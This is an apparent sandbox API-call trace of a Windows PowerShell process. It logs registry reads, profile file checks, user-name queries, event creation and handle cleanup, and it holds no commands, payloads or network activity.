() returned 0xcb [0153.660] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.660] GetLastError () returned 0xcb [0153.660] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.660] GetLastError () returned 0xcb [0153.660] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.660] GetLastError () returned 0xcb [0153.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdcac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.702] GetLastError () returned 0xcb [0153.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.702] GetLastError () returned 0xcb [0153.702] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.702] GetLastError () returned 0xcb [0153.702] VirtualQuery (in: lpAddress=0x2bd1d8, lpBuffer=0x2be1d8, dwLength=0x1c | out: lpBuffer=0x2be1d8*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.704] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdcac, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.705] GetLastError () returned 0xcb [0153.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.705] GetLastError () returned 0xcb [0153.705] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdc5c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0153.705] GetLastError () returned 0xcb [0153.705] VirtualQuery (in: lpAddress=0x2bd1d0, lpBuffer=0x2be1d0, dwLength=0x1c | out: lpBuffer=0x2be1d0*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.705] VirtualQuery (in: lpAddress=0x2bce84, lpBuffer=0x2bde84, dwLength=0x1c | out: lpBuffer=0x2bde84*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.705] VirtualQuery (in: lpAddress=0x2bce84, lpBuffer=0x2bde84, dwLength=0x1c | out: lpBuffer=0x2bde84*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0153.735] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be90c | out: phkResult=0x2be90c*=0x344) returned 0x0 [0153.736] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be954, lpData=0x0, lpcbData=0x2be950*=0x0 | out: lpType=0x2be954*=0x1, lpData=0x0, lpcbData=0x2be950*=0x56) returned 0x0 [0153.736] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be954, lpData=0x67b350, lpcbData=0x2be950*=0x56 | out: lpType=0x2be954*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be950*=0x56) returned 0x0 [0153.736] RegCloseKey (hKey=0x344) returned 0x0 [0153.737] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be90c | out: phkResult=0x2be90c*=0x344) returned 0x0 [0153.737] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be954, lpData=0x0, lpcbData=0x2be950*=0x0 | out: lpType=0x2be954*=0x1, lpData=0x0, lpcbData=0x2be950*=0x56) returned 0x0 [0153.737] RegQueryValueExW (in: hKey=0x344, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2be954, lpData=0x67b350, lpcbData=0x2be950*=0x56 | out: lpType=0x2be954*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x2be950*=0x56) returned 0x0 [0153.738] RegCloseKey (hKey=0x344) returned 0x0 [0153.740] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x67b350 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0153.741] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0153.741] GetLastError () returned 0x3f0 [0153.741] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x67b350 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0153.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x2be4a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0153.742] GetLastError () returned 0x3f0 [0153.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0x2be53c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0153.745] GetLastError () returned 0x3f0 [0153.745] SetErrorMode (uMode=0x1) returned 0x1 [0153.745] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2be9bc | out: lpFileInformation=0x2be9bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0153.745] GetLastError () returned 0x2 [0153.745] SetErrorMode (uMode=0x1) returned 0x1 [0153.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x2be53c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0153.746] GetLastError () returned 0x2 [0153.746] SetErrorMode (uMode=0x1) returned 0x1 [0153.746] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2be9bc | out: lpFileInformation=0x2be9bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0153.746] GetLastError () returned 0x2 [0153.746] SetErrorMode (uMode=0x1) returned 0x1 [0153.746] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x2be53c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x45 [0153.746] GetLastError () returned 0x2 [0153.746] SetErrorMode (uMode=0x1) returned 0x1 [0153.746] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2be9bc | out: lpFileInformation=0x2be9bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0153.747] GetLastError () returned 0x3 [0153.747] SetErrorMode (uMode=0x1) returned 0x1 [0153.747] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x2be53c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x5a [0153.747] GetLastError () returned 0x3 [0153.747] SetErrorMode (uMode=0x1) returned 0x1 [0153.747] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x2be9bc | out: lpFileInformation=0x2be9bc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0153.747] GetLastError () returned 0x3 [0153.747] SetErrorMode (uMode=0x1) returned 0x1 [0153.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.749] GetLastError () returned 0xcb [0153.753] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.753] GetLastError () returned 0xcb [0153.760] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.760] GetLastError () returned 0xcb [0153.763] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.763] GetLastError () returned 0xcb [0153.765] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.765] GetLastError () returned 0xcb [0153.786] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.786] GetLastError () returned 0xcb [0153.787] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x344 [0153.787] GetLastError () returned 0x0 [0153.787] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x314 [0153.788] GetLastError () returned 0x0 [0153.788] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b0 [0153.788] GetLastError () returned 0x0 [0153.788] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x31c [0153.788] GetLastError () returned 0x0 [0153.788] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x338 [0153.788] GetLastError () returned 0x0 [0153.788] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x348 [0153.788] GetLastError () returned 0x0 [0153.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x34c [0153.789] GetLastError () returned 0x0 [0153.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x350 [0153.789] GetLastError () returned 0x0 [0153.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x354 [0153.789] GetLastError () returned 0x0 [0153.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x358 [0153.789] GetLastError () returned 0x0 [0153.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x35c [0153.789] GetLastError () returned 0x0 [0153.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b4 [0153.790] GetLastError () returned 0x0 [0153.793] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.793] GetLastError () returned 0xcb [0153.801] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0153.801] GetLastError () returned 0xcb [0153.803] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x2be9fc | out: lpMode=0x2be9fc) returned 1 [0153.805] GetLastError () returned 0xcb [0153.807] SetEvent (hEvent=0x31c) returned 1 [0153.807] GetLastError () returned 0xcb [0153.808] SetEvent (hEvent=0x344) returned 1 [0153.808] GetLastError () returned 0xcb [0153.808] SetEvent (hEvent=0x314) returned 1 [0153.808] GetLastError () returned 0xcb [0153.808] SetEvent (hEvent=0x3b0) returned 1 [0153.808] GetLastError () returned 0xcb [0153.808] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x364 [0153.808] GetLastError () returned 0x0 [0153.809] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0153.809] GetLastError () returned 0xcb [0153.811] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be860 | out: phkResult=0x2be860*=0x368) returned 0x0 [0153.811] RegQueryValueExW (in: hKey=0x368, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x2be8a8, lpData=0x0, lpcbData=0x2be8a4*=0x0 | out: lpType=0x2be8a8*=0x0, lpData=0x0, lpcbData=0x2be8a4*=0x0) returned 0x2 [0258.900] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f8 [0258.900] GetLastError () returned 0x0 [0258.900] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3fc [0258.900] GetLastError () returned 0x0 [0258.900] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x464 [0258.900] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x410 [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x40c [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x408 [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x404 [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x460 [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x458 [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x454 [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x450 [0258.901] GetLastError () returned 0x0 [0258.901] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x44c [0258.901] GetLastError () returned 0x0 [0258.901] SetEvent (hEvent=0x410) returned 1 [0258.901] GetLastError () returned 0x0 [0258.901] SetEvent (hEvent=0x3f8) returned 1 [0258.901] GetLastError () returned 0x0 [0258.902] SetEvent (hEvent=0x3fc) returned 1 [0258.902] GetLastError () returned 0x0 [0258.902] SetEvent (hEvent=0x464) returned 1 [0258.902] GetLastError () returned 0x0 [0258.902] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x448 [0258.902] GetLastError () returned 0x0 [0258.902] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x2be894 | out: phkResult=0x2be894*=0x444) returned 0x0 [0258.902] RegQueryValueExW (in: hKey=0x444, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x2be8dc, lpData=0x0, lpcbData=0x2be8d8*=0x0 | out: lpType=0x2be8dc*=0x0, lpData=0x0, lpcbData=0x2be8d8*=0x0) returned 0x2 [0259.163] SetEvent (hEvent=0x40c) returned 1 [0259.163] GetLastError () returned 0x0 [0259.163] SetEvent (hEvent=0x408) returned 1 [0259.163] GetLastError () returned 0x0 [0259.163] SetEvent (hEvent=0x404) returned 1 [0259.163] GetLastError () returned 0x0 [0259.268] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x67b350, nSize=0x80 | out: lpBuffer="") returned 0x0 [0259.269] GetLastError () returned 0xcb [0259.278] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6b5fb0, nSize=0x2be970 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x2be970) returned 0x1 [0259.279] GetLastError () returned 0xcb [0259.279] GetUserNameW (in: lpBuffer=0x67b350, pcbBuffer=0x2be978 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x2be978) returned 1 [0259.280] ReportEventW (hEventLog=0x5000004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2fab678*="Stopped", lpRawData=0x2fab534) returned 1 [0259.282] GetLastError () returned 0x0 [0259.282] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0259.282] GetLastError () returned 0x0 [0259.289] CoGetContextToken (in: pToken=0x2bf6a8 | out: pToken=0x2bf6a8) returned 0x0 [0259.289] IUnknown:QueryInterface (in: This=0x637a18, riid=0x74993ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2bf6dc | out: ppvObject=0x2bf6dc*=0x637a24) returned 0x0 [0259.290] IComThreadingInfo:GetCurrentThreadType (in: This=0x637a24, pThreadType=0x2bf74c | out: pThreadType=0x2bf74c*=0) returned 0x0 [0259.290] IUnknown:Release (This=0x637a24) returned 0x1 [0259.292] CoGetContextToken (in: pToken=0x2bf480 | out: pToken=0x2bf480) returned 0x0 [0259.292] IUnknown:QueryInterface (in: This=0x637a18, riid=0x74993ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2bf4b4 | out: ppvObject=0x2bf4b4*=0x637a24) returned 0x0 [0259.293] IComThreadingInfo:GetCurrentThreadType (in: This=0x637a24, pThreadType=0x2bf4e8 | out: pThreadType=0x2bf4e8*=0) returned 0x0 [0259.293] IUnknown:Release (This=0x637a24) returned 0x1 [0259.295] CoGetContextToken (in: pToken=0x2bf480 | out: pToken=0x2bf480) returned 0x0 [0259.295] IUnknown:QueryInterface (in: This=0x637a18, riid=0x74993ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2bf4b4 | out: ppvObject=0x2bf4b4*=0x637a24) returned 0x0 [0259.297] IComThreadingInfo:GetCurrentThreadType (in: This=0x637a24, pThreadType=0x2bf4e8 | out: pThreadType=0x2bf4e8*=0) returned 0x0 [0259.297] IUnknown:Release (This=0x637a24) returned 0x1 [0259.307] CoGetContextToken (in: pToken=0x2bf480 | out: pToken=0x2bf480) returned 0x0 [0259.307] IUnknown:QueryInterface (in: This=0x637a18, riid=0x74993ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2bf4b4 | out: ppvObject=0x2bf4b4*=0x637a24) returned 0x0 [0259.308] IComThreadingInfo:GetCurrentThreadType (in: This=0x637a24, pThreadType=0x2bf4e8 | out: pThreadType=0x2bf4e8*=0) returned 0x0 [0259.308] IUnknown:Release (This=0x637a24) returned 0x1 [0259.381] CoGetContextToken (in: pToken=0x2bf460 | out: pToken=0x2bf460) returned 0x0 [0259.382] IUnknown:QueryInterface (in: This=0x637a18, riid=0x74993ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x2bf494 | out: ppvObject=0x2bf494*=0x637a24) returned 0x0 [0259.384] IComThreadingInfo:GetCurrentThreadType (in: This=0x637a24, pThreadType=0x2bf4c8 | out: pThreadType=0x2bf4c8*=0) returned 0x0 [0259.384] IUnknown:Release (This=0x637a24) returned 0x1 [0259.424] CoUninitialize () Thread: id = 10 os_tid = 0x560 Thread: id = 11 os_tid = 0x798 Thread: id = 15 os_tid = 0x688 Thread: id = 28 os_tid = 0x9c4 Thread: id = 29 os_tid = 0x308 [0132.072] CoGetContextToken (in: pToken=0x2a3f918 | out: pToken=0x2a3f918) returned 0x0 [0132.072] CObjectContext::QueryInterface () returned 0x0 [0132.073] CObjectContext::GetCurrentThreadType () returned 0x0 [0132.073] Release () returned 0x0 [0132.073] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0148.066] LocalFree (hMem=0x67efa8) returned 0x0 [0148.066] GetLastError () returned 0x0 [0148.066] CloseHandle (hObject=0x338) returned 1 [0148.066] GetLastError () returned 0x0 [0148.067] CloseHandle (hObject=0x13) returned 1 [0148.068] GetLastError () returned 0x0 [0148.068] CloseHandle (hObject=0xf) returned 1 [0148.069] GetLastError () returned 0x0 [0148.069] RegCloseKey (hKey=0x31c) returned 0x0 [0148.069] RegCloseKey (hKey=0x318) returned 0x0 [0148.070] RegCloseKey (hKey=0x314) returned 0x0 [0148.070] LocalFree (hMem=0x67eee8) returned 0x0 [0148.070] GetLastError () returned 0x0 [0148.070] RegCloseKey (hKey=0x344) returned 0x0 [0149.446] RegCloseKey (hKey=0x344) returned 0x0 [0151.758] RegCloseKey (hKey=0x3a0) returned 0x0 [0151.758] RegCloseKey (hKey=0x39c) returned 0x0 [0151.759] RegCloseKey (hKey=0x398) returned 0x0 [0151.759] RegCloseKey (hKey=0x394) returned 0x0 [0151.760] RegCloseKey (hKey=0x390) returned 0x0 [0151.760] RegCloseKey (hKey=0x38c) returned 0x0 [0151.761] RegCloseKey (hKey=0x388) returned 0x0 [0151.761] RegCloseKey (hKey=0x318) returned 0x0 [0151.762] RegCloseKey (hKey=0x3bc) returned 0x0 [0151.762] RegCloseKey (hKey=0x3b8) returned 0x0 [0151.763] RegCloseKey (hKey=0x380) returned 0x0 [0151.763] RegCloseKey (hKey=0x37c) returned 0x0 [0151.764] RegCloseKey (hKey=0x378) returned 0x0 [0151.764] RegCloseKey (hKey=0x374) returned 0x0 [0151.765] RegCloseKey (hKey=0x370) returned 0x0 [0151.765] RegCloseKey (hKey=0x36c) returned 0x0 [0151.766] RegCloseKey (hKey=0x368) returned 0x0 [0151.766] RegCloseKey (hKey=0x364) returned 0x0 [0151.767] RegCloseKey (hKey=0x3b4) returned 0x0 [0151.768] RegCloseKey (hKey=0x35c) returned 0x0 [0151.768] RegCloseKey (hKey=0x358) returned 0x0 [0151.769] RegCloseKey (hKey=0x354) returned 0x0 [0151.769] RegCloseKey (hKey=0x350) returned 0x0 [0151.770] RegCloseKey (hKey=0x34c) returned 0x0 [0151.770] RegCloseKey (hKey=0x348) returned 0x0 [0151.771] RegCloseKey (hKey=0x338) returned 0x0 [0151.771] RegCloseKey (hKey=0x31c) returned 0x0 [0151.772] RegCloseKey (hKey=0x3b0) returned 0x0 [0151.772] RegCloseKey (hKey=0x314) returned 0x0 [0151.773] RegCloseKey (hKey=0x344) returned 0x0 [0151.773] RegCloseKey (hKey=0x3ac) returned 0x0 [0151.774] RegCloseKey (hKey=0x3a8) returned 0x0 [0151.774] RegCloseKey (hKey=0x384) returned 0x0 [0151.775] RegCloseKey (hKey=0x3c0) returned 0x0 [0154.336] RegCloseKey (hKey=0x368) returned 0x0 [0184.494] CoGetContextToken (in: pToken=0x2a3f8f8 | out: pToken=0x2a3f8f8) returned 0x0 [0184.494] CoGetContextToken (in: pToken=0x2a3f888 | out: pToken=0x2a3f888) returned 0x0 [0184.494] WbemLocator:IUnknown:Release (This=0x5e60bf0) returned 0x0 [0259.301] GetLastError () returned 0x0 [0259.301] GetLastError () returned 0x0 [0259.302] LocalFree (hMem=0x68a620) returned 0x0 [0259.302] GetLastError () returned 0x0 [0259.302] GetLastError () returned 0x0 [0259.302] GetLastError () returned 0x0 [0259.302] LocalFree (hMem=0x68a598) returned 0x0 [0259.302] GetLastError () returned 0x0 [0259.316] 